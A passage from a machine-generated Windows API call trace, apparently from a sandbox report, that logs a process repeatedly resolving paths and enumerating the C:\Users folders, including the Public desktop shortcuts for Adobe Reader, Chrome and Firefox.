lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.521] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0080.522] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.523] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.524] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.524] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.524] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.524] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9c0) returned 1 [0080.524] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1ca2e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0080.524] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\", lpFilePart=0x0) returned 0x16 [0080.524] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x1ca2e660 | out: lpFindFileData=0x1ca2e660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8f0) returned 1 [0080.527] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.528] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.528] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9c0) returned 1 [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1ca2e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0080.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\", lpFilePart=0x0) returned 0x10 [0080.529] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x1ca2e660 | out: lpFindFileData=0x1ca2e660*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0080.530] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.530] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0080.530] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.530] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.530] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.530] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.531] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.532] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.532] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.532] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0080.532] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\", lpFilePart=0x0) returned 0x18 [0080.532] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.532] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.533] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0080.533] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.533] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0080.533] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0080.533] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0 [0080.534] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.534] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, 